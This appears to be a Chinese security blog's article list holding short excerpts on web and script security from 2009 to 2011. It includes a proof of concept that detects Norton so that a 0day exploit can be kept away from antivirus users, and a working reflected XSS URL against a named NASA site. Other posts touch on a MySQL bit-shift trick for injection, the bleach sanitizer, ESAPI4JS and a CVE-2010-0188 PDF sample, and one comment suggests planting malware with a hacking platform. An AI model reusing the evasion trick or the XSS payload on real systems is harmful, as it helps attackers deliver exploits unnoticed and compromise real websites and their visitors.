文章列表
 
您正在查看 "脚本安全" 分类下的文章

2011-06-30 16:04

 

很多人在挂0day时一不小心就被安全公司截获了样本,有些时候,如果你实在bypass不了某款安全软件的检测的话,那么就绕着它走吧。

虽然可能打不中目标,但也比0day被抓了去要好。

比如下面的POC:

 

<html><body>

<div id=sH style='display:none'><img src="symres:sb_nortoncertified.png" onerror="alert('Norton not Installed.')" onload="alert('Norton Installed!')"></img></div>

</body></html>

 
2011-05-22 14:57

老早的东西了,忘记以前谁给我的了,比较简单,单纯的trace而已,当然不如DOMinator好用。

 

 

 

DownlLoad:

https://rapidshare.com/files/3687281109/domtracer.xpi

 

 
2011-04-02 17:23

While strolling through mysql.com I came across this page.

There you can view the possibility of the bitwise function right shift.

A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.

Here is an example:

mysql> select ascii(b'00000010'); +--------------------+| ascii(b'00000010') |+--------------------+ | 2 |+--

 
2010-12-05 12:15
 
2010-10-15 17:41

bleach 0.3.4

http://pypi.python.org/pypi/bleach/0.3.4

我们如何在一个python应用程序中安全的处理丰富的HTML?
来看看bleach吧,一个基于白名单的过滤工具。

Basic Use

The simplest way to use Bleach:

>>> from ble
 
2010-06-06 2:00
最近一直在忙一些别的事,2个多月没来更新blog了,不知道写点什么,随便拽点东西上来全当科普了。
之前有个朋友扔给我个pdf样本叫我分析,偶是菜鸟嘛,不会动态调试,只会静态分析,下面把简略的过程贴出来供大家参考。

一个pdf样本(CVE-2010-0188),所有的流全被zlib加密过了


 
2010-02-18 19:44

 
2010-01-15 18:08
转载开始:

ESAPI4JS - The new hotness!

So I have been hard at work on the ESAPI4JS code for the last couple of weeks, and have gotten it to a point where people can start to play with it. It will be in alpha for a bit yet, as not all the functionality is there, but here is a little of what you can do with it so far.

Do
 
2009-02-05 21:16

http://www.sewp.nasa.gov/

XSS:http://www.sewp.nasa.gov/index.shtml%3C/TITLE%3E%3CSCRIPT%3Ealert(%22XSSed%20by%20sH%22);%3C/SCRIPT%3E

//NASA,各种分站怎么这么多...

 
2009-01-21 17:40
 
   
 
 
文章分类
 
   
 
文章存档
 
     
 
最新文章评论
  

加下我哦
 

[表情]
 
 

自己用anehta这个平台挂马,应该很好
 

回复zrxc:360
   
帮助中心 | 空间客服 | 投诉中心 | 空间协议
©2012 Baidu